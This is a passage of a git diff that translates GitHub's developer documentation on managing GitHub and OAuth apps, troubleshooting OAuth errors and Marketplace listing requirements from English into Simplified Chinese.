+intro: 您可以通过构建自己的应用程序来自动化和简化工作流程。
 redirect_from:
   - /early-access/integrations
   - /early-access/integrations/authentication
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/zh-CN/content/developers/apps/managing-github-apps/deleting-a-github-app.md
index 5c9cdb43cf..e86679d8b2 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/deleting-a-github-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/deleting-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting a GitHub App
+title: 删除 GitHub 应用程序
 intro: '{% data reusables.shortdesc.deleting_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/deleting-a-github-app
@@ -13,15 +13,12 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App you want to delete.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. 选择要删除的 GitHub 应用程序。 ![应用程序选择](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Delete GitHub App**.
-![Button to delete a GitHub App](/assets/images/github-apps/github_apps_delete.png)
-7. Type the name of the GitHub App to confirm you want to delete it.
-![Field to confirm the name of the GitHub App you want to delete](/assets/images/github-apps/github_apps_delete_integration_name.png)
-8. Click **I understand the consequences, delete this GitHub App**.
-![Button to confirm the deletion of your GitHub App](/assets/images/github-apps/github_apps_confirm_deletion.png)
+6. 单击 **Delete GitHub App（删除 GitHub 应用程序）**。 ![删除 GitHub 应用程序的按钮](/assets/images/github-apps/github_apps_delete.png)
+7. 输入 GitHub 应用程序的名称以确认您要删除它。 ![确认要删除的 GitHub 应用程序名称的字段](/assets/images/github-apps/github_apps_delete_integration_name.png)
+8. 单击 **I understand the consequences, delete this GitHub App（我了解后果，删除此 GitHub 应用程序）**。 ![确认删除 GitHub 应用程序的按钮](/assets/images/github-apps/github_apps_confirm_deletion.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/zh-CN/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
index 3d9e709d77..d9c6b67749 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
@@ -1,5 +1,5 @@
 ---
-title: Editing a GitHub App's permissions
+title: 编辑 GitHub 应用程序的权限
 intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions
@@ -12,26 +12,21 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Edit permissions
+shortTitle: 编辑权限
 ---
+
 {% note %}
 
-**Note:** Updated permissions won't take effect on an installation until the owner of the account or organization approves the changes. You can use the [InstallationEvent webhook](/webhooks/event-payloads/#installation) to find out when people accept new permissions for your app. One exception is [user-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), which don't require the account owner to approve permission changes.
+**注：**在帐户或组织的所有者批准更改之前，更新的权限不会对安装设施生效。 您可以使用 [InstallationEvent web 挂钩](/webhooks/event-payloads/#installation)了解用户何时接受应用程序的新权限。 [用户级权限](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)是一个例外，它不需要帐户所有者批准权限更改。
 
 {% endnote %}
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose permissions you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
-5. In the left sidebar, click **Permissions & webhooks**.
-![Permissions and webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
-6. Modify the permissions you'd like to change. For each type of permission, select either "Read-only", "Read & write", or "No access" from the dropdown.
-![Permissions selections for your GitHub App](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
-7. In "Subscribe to events", select any events to which you'd like to subscribe your app.
-![Permissions selections for subscribing your GitHub App to events](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
-8. Optionally, in "Add a note to users", add a note telling your users why you are changing the permissions that your GitHub App requests.
-![Input box to add a note to users explaining why your GitHub App permissions have changed](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
-9. Click **Save changes**.
-![Button to save permissions changes](/assets/images/github-apps/github_apps_save_changes.png)
+4. 选择要更改其权限的 GitHub 应用程序。 ![应用程序选择](/assets/images/github-apps/github_apps_select-app.png)
+5. 在左侧栏中，单击 **Permissions & webhooks（权限和 web 挂钩）**。 ![权限和 web 挂钩](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
+6. 修改要更改的权限。 对于每种类型的权限，从下拉列表中选择“Read-only（只读）”、“Read & write（读写）”或“No access（无访问权限）”。 ![GitHub 应用程序的权限选择](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
+7. 在“Subscribe to events（订阅事件）”中，选择应用程序要订阅的任何事件。 ![GitHub 应用程序订阅事件的权限选择](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
+8. （可选）在“Add a note to users（向用户添加注释）”中，添加注释，告诉用户为什么要更改 GitHub 应用程序请求的权限。 ![用于向用户添加注释以解释 GitHub 应用程序权限更改原因的输入框](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
+9. 单击 **Save changes（保存更改）**。 ![保存权限更改的按钮](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/index.md b/translations/zh-CN/content/developers/apps/managing-github-apps/index.md
index 718fa7bb8f..6051252a19 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/index.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Apps
-intro: 'After you create and register a GitHub App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: 管理 GitHub 应用程序
+intro: 创建并注册 GitHub 应用程序后，您可以修改应用程序、更改权限、转让所有权和删除应用程序。
 redirect_from:
   - /apps/building-integrations/managing-github-apps
   - /apps/managing-github-apps
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/zh-CN/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
index 2955f8e8c0..87ef09ea1a 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
@@ -1,5 +1,5 @@
 ---
-title: Making a GitHub App public or private
+title: 将 GitHub 应用程序设为公共或私有
 intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps
@@ -15,29 +15,27 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage app visibility
+shortTitle: 管理应用可见性
 ---
-For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
 
-## Public installation flow
+有关身份验证信息，请参阅“[使用 GitHub 应用程序进行身份验证](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)”。
 
-Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)."
+## 公共安装流程
 
-## Private installation flow
+公共安装流程有一个登录页面，可让除应用程序所有者以外的其他人在他们的仓库中安装应用程序。 设置您的 GitHub 应用程序时，在“Public link（公共链接）”字段中提供此链接。 更多信息请参阅“[安装 GitHub 应用程序](/apps/installing-github-apps/)”。
 
-Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner.
+## 私有安装流程
 
-## Changing who can install your GitHub App
+私有安装流程只允许 GitHub 应用程序的所有者安装它。 有关 GitHub 应用程序的有限信息仍将存在于公共页面，但 **Install（安装）**按钮仅对组织管理员或用户帐户（如果 GitHub 应用程序由个人帐户所有）可用。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}私有{% else %}私有（也称为内部）{% endif %} GitHub 应用程序只能安装在所有者的用户或组织帐户上。
 
-To change who can install the GitHub App:
+## 更改 GitHub 应用程序的安装权限
+
+要更改 GitHub 应用程序的安装权限：
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-3. Select the GitHub App whose installation option you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+3. 选择要更改其安装权限选项的 GitHub 应用程序。 ![应用程序选择](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**.
-![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png)
-6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal{% else %}private{% endif %}**.
-![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png)
+5. 根据 GitHub 应用程序的安装选项，单击 **Make public（设为公共）**或 **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private（设为私有）{% else %}internal（设为内部）{% endif %}**。 ![更改 GitHub 应用程序安装选项的按钮](/assets/images/github-apps/github_apps_make_public.png)
+6. 根据 GitHub 应用程序的安装选项，单击 **Yes, make this GitHub App public（是，将此 GitHub 应用程序设为公共）**或 **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal（是，将此 GitHub 应用程序设为内部）{% else %}private（是，将此 GitHub 应用程序设为私有）{% endif %}**。 ![确认更改安装选项的按钮](/assets/images/github-apps/github_apps_confirm_installation_option.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/zh-CN/content/developers/apps/managing-github-apps/modifying-a-github-app.md
index 48fc1ccfb1..8fcae91eb1 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/modifying-a-github-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/modifying-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying a GitHub App
+title: 修改 GitHub 应用程序
 intro: '{% data reusables.shortdesc.modifying_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/modifying-a-github-app
@@ -13,11 +13,10 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Basic information", modify the GitHub App information that you'd like to change.
-![Basic information section for your GitHub App](/assets/images/github-apps/github_apps_basic_information.png)
-6. Click **Save changes**.
-![Button to save changes for your GitHub App](/assets/images/github-apps/github_apps_save_changes.png)
+5. 在“Basic information（基本信息）”中，修改您要更改的 GitHub 应用程序信息。 ![GitHub 应用程序的基本信息部分](/assets/images/github-apps/github_apps_basic_information.png)
+6. 单击 **Save changes（保存更改）**。 ![保存 GitHub 应用程序更改的按钮](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/zh-CN/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
index 4bbe104d16..6437730e60 100644
--- a/translations/zh-CN/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of a GitHub App
+title: 转让 GitHub 应用程序的所有权
 intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app
@@ -12,19 +12,15 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Transfer ownership
+shortTitle: 转移所有权
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose ownership you want to transfer.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. 选择要转让其所有权的 GitHub 应用程序。 ![应用程序选择](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/github-apps/github_apps_transfer_ownership.png)
-7. Type the name of the GitHub App you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/github-apps/github_apps_transfer_app_name.png)
-8. Type the name of the user or organization you want to transfer the GitHub App to.
-![Field to enter the user or org to transfer to](/assets/images/github-apps/github_apps_transfer_new_owner.png)
-9. Click **Transfer this GitHub App**.
-![Button to confirm the transfer of a GitHub App](/assets/images/github-apps/github_apps_transfer_integration.png)
+6. 单击 **Transfer ownership（转让所有权）**。 ![转让所有权的按钮](/assets/images/github-apps/github_apps_transfer_ownership.png)
+7. 输入要转让的 GitHub 应用程序的名称。 ![输入要转让的应用程序名称的字段](/assets/images/github-apps/github_apps_transfer_app_name.png)
+8. 输入要将 GitHub 应用程序转让到的用户或组织的名称。 ![输入要转让到的用户或组织的字段](/assets/images/github-apps/github_apps_transfer_new_owner.png)
+9. 单击 **Transfer this GitHub App（转让此 GitHub 应用程序）**。 ![确认转让 GitHub 应用程序的按钮](/assets/images/github-apps/github_apps_transfer_integration.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
index 26affcb17f..204a94370b 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting an OAuth App
+title: 删除 OAuth 应用程序
 intro: '{% data reusables.shortdesc.deleting_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app
@@ -13,12 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Delete application**.
-![Button to delete the application](/assets/images/oauth-apps/oauth_apps_delete_application.png)
-6. Click **Delete this OAuth Application**.
-![Button to confirm the deletion](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
+4. 选择要修改的 {% data variables.product.prodname_oauth_app %} 。 ![应用程序选择](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. 单击 **Delete application（删除应用程序）**。 ![删除应用程序的按钮](/assets/images/oauth-apps/oauth_apps_delete_application.png)
+6. 单击 **Delete this OAuth Application（删除此 OAuth 应用程序）**。 ![确认删除的按钮](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/index.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/index.md
index 5a40c83444..856d1197ca 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/index.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing OAuth Apps
-intro: 'After you create and register an OAuth App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: 管理 OAuth 应用程序
+intro: 创建并注册 OAuth 应用程序后，您可以修改应用程序、更改权限、转让所有权和删除应用程序。
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps
   - /apps/managing-oauth-apps
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
index c6196ae921..ecf9cdab7b 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying an OAuth App
+title: 修改 OAuth 应用程序
 intro: '{% data reusables.shortdesc.modifying_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app
@@ -13,9 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
 {% data reusables.user-settings.modify_oauth_app %}
-1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change.
+1. 修改您想要更改的 {% data variables.product.prodname_oauth_app %} 信息。
 {% data reusables.user-settings.update_oauth_app %}
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
index 975ec5bafb..51867c73bf 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of an OAuth App
+title: 转让 OAuth 应用程序的所有权
 intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app
@@ -12,18 +12,14 @@ versions:
   ghec: '*'
 topics:
   - OAuth Apps
-shortTitle: Transfer ownership
+shortTitle: 转移所有权
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
-6. Type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
-7. Type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to.
-![Field to enter the user or org to transfer to](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
-8. Click **Transfer this application**.
-![Button to transfer the application](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
+4. 选择要修改的 {% data variables.product.prodname_oauth_app %} 。 ![应用程序选择](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. 单击 **Transfer ownership（转让所有权）**。 ![转让所有权的按钮](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
+6. 输入要转让的 {% data variables.product.prodname_oauth_app %} 的名称。 ![输入要转让的应用程序名称的字段](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
+7. 输入要将 {% data variables.product.prodname_oauth_app %} 转让到的用户或组织的名称。 ![输入要转让到的用户或组织的字段](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
+8. 单击 **Transfer this application（转让此应用程序）**。 ![转让应用程序的按钮](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
index ce44a8e347..8dce644b5e 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting authorization request errors
+title: 排查授权请求错误
 intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors
@@ -12,42 +12,38 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Troubleshoot authorization
+shortTitle: 故障排除授权
 ---
-## Application suspended
 
-If the OAuth App you set up has been suspended (due to reported abuse, spam, or a mis-use of the API), GitHub will redirect to the registered callback URL using the following parameters to summarize the error:
+## 应用程序已挂起
+
+如果您设置的 OAuth 应用程序已挂起（由于报告的滥用、垃圾邮件或 API 使用不当），GitHub 将使用以下参数重定向到注册的回调 URL 以总结错误：
 
     http://your-application.com/callback?error=application_suspended
       &error_description=Your+application+has+been+suspended.+Contact+support@github.com.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended
       &state=xyz
 
-To solve issues with suspended applications, please contact {% data variables.contact.contact_support %}.
+要解决已挂起应用程序的问题，请联系 {% data variables.contact.contact_support %}。
 
-## Redirect URI mismatch
+## 重定向 URI 不匹配
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your application, GitHub will redirect to the registered callback URL with the following parameters summarizing the error:
+如果您提供的 `redirect_uri` 与您在应用程序中注册的 URL 不匹配，GitHub 将使用以下参数重定向到注册的回调 URL 以总结错误：
 
     http://your-application.com/callback?error=redirect_uri_mismatch
       &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch
       &state=xyz
 
-To correct this error, either provide a `redirect_uri` that matches what you registered or leave out this parameter to use the default one registered with your application.
+要更正此错误，请提供一个与您注册的 URL 匹配的 `redirect_uri`，或者忽略此参数以使用在应用程序中注册的默认 URL。
 
-### Access denied
+### 访问被拒绝
 
-If the user rejects access to your application, GitHub will redirect to
-the registered callback URL with the following parameters summarizing
-the error:
+如果用户拒绝访问您的应用程序，GitHub 将使用以下参数重定向到注册的回调 URL 以总结错误：
 
     http://your-application.com/callback?error=access_denied
       &error_description=The+user+has+denied+your+application+access.
       &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied
       &state=xyz
 
-There's nothing you can do here as users are free to choose not to use
-your application. More often than not, users will just close the window
-or press back in their browser, so it is likely that you'll never see
-this error.
+在这方面您无能为力，因为用户可以自由选择不使用您的应用程序。 通常，用户只是关闭窗口或在浏览器中按返回按钮，所以您可能永远不会看到此错误。
diff --git a/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
index 5dc9f10a8b..ef8c010ef5 100644
--- a/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
+++ b/translations/zh-CN/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
@@ -1,5 +1,5 @@
 ---
-title: Troubleshooting OAuth App access token request errors
+title: 排查 OAuth 应用程序访问令牌请求错误
 intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
@@ -12,18 +12,18 @@ versions:
   ghec: '*'
 topics:
   - OAuth Apps
-shortTitle: Troubleshoot token request
+shortTitle: 令牌请求疑难解答
 ---
+
 {% note %}
 
-**Note:** These examples only show JSON responses.
+**注：**这些示例仅显示 JSON 响应。
 
 {% endnote %}
 
-## Incorrect client credentials
+## 客户端凭据不正确
 
-If the client\_id and or client\_secret you pass are incorrect you will
-receive this error response.
+如果您传递的 client\_id 和/或 client\_secret 不正确，您将收到此错误响应。
 
 ```json
 {
@@ -33,12 +33,11 @@ receive this error response.
 }
 ```
 
-To solve this error, make sure you have the correct credentials for your {% data variables.product.prodname_oauth_app %}. Double check the `client_id` and `client_secret` to make sure they are correct and being passed correctly
-to {% data variables.product.product_name %}.
+要解决此错误，请确保您拥有 {% data variables.product.prodname_oauth_app %} 的正确凭据。 仔细检查 `client_id` 和 `client_secret` 以确保它们正确无误并且正确地传递到 {% data variables.product.product_name %}。
 
-## Redirect URI mismatch
+## 重定向 URI 不匹配
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your {% data variables.product.prodname_oauth_app %}, you'll receive this error message:
+如果您提供的 `redirect_uri` 与您在 {% data variables.product.prodname_oauth_app %} 中注册的 URL 不匹配，您将收到此错误消息：
 
 ```json
 {
@@ -48,11 +47,9 @@ If you provide a `redirect_uri` that doesn't match what you've registered with y
 }
 ```
 
-To correct this error, either provide a `redirect_uri` that matches what
-you registered or leave out this parameter to use the default one
-registered with your application.
+要更正此错误，请提供一个与您注册的 URL 匹配的 `redirect_uri`，或者忽略此参数以使用在应用程序中注册的默认 URL。
 
-## Bad verification code
+## 验证码错误
 
 ```json
 {
@@ -63,9 +60,7 @@ registered with your application.
 }
 ```
 
-If the verification code you pass is incorrect, expired, or doesn't
-match what you received in the first request for authorization you will
-receive this error.
+如果您传递的验证码不正确、已过期或与您在第一次授权请求中收到的验证码不匹配，您将收到此错误。
 
 ```json
 {
@@ -75,5 +70,4 @@ receive this error.
 }
 ```
 
-To solve this error, start the [OAuth authorization process again](/apps/building-oauth-apps/authorizing-oauth-apps/)
-and get a new code.
+要解决此错误，请再次启动 [OAuth 授权流程](/apps/building-oauth-apps/authorizing-oauth-apps/)并获取新代码。
diff --git a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
index 4a6292a7c8..651800da51 100644
--- a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
+++ b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
@@ -1,6 +1,6 @@
 ---
-title: Requirements for listing an app
-intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.'
+title: 上架应用程序的要求
+intro: '{% data variables.product.prodname_marketplace %} 上的应用程序必须满足本页列出的要求才能发布上架。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
@@ -14,67 +14,68 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Listing requirements
+shortTitle: 列出要求
 ---
+
 <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.-->
 
-The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app.
+在 {% data variables.product.prodname_marketplace %} 中上架应用程序的要求取决于您是要提供免费应用程序还是付费应用程序。
 
-## Requirements for all {% data variables.product.prodname_marketplace %} listings
+## 对所有 {% data variables.product.prodname_marketplace %} 上架产品的要求
 
-All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+{% data variables.product.prodname_marketplace %} 中的所有上架产品应该是能够为 {% data variables.product.product_name %} 社区提供价值的工具。 提交要发布的上架信息时，您必须阅读并接受“[{% data variables.product.prodname_marketplace %} 开发者协议](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)”的条款。
 
-### User experience requirements for all apps
+### 所有应用程序的用户体验要求
 
-All listings should meet the following requirements, regardless of whether they are for a free or paid app.
+所有上架产品应满足以下要求，无论它们是免费应用程序还是付费应用程序。
 
-- Listings must not actively persuade users away from {% data variables.product.product_name %}.
-- Listings must include valid contact information for the publisher.
-- Listings must have a relevant description of the application.
-- Listings must specify a pricing plan.
-- Apps must provide value to customers and integrate with the platform in some way beyond authentication.
-- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only.
-- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+- 上架信息不得主动诱导用户离开 {% data variables.product.product_name %}。
+- 上架信息必须包含发布者的有效联系信息。
+- 上架信息必须包含应用程序的相关说明。
+- 上架信息必须指定定价计划。
+- 应用程序必须为客户提供价值，并通过身份验证以外的其他方式与平台集成。
+- 应用程序必须在 {% data variables.product.prodname_marketplace %} 中公开可用，并且不能是测试版或只能通过邀请获取。
+- 应用程序必须设置 web 挂钩事件，以便在发生计划更改或取消时通过 {% data variables.product.prodname_marketplace %} API 通知发布者。 更多信息请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
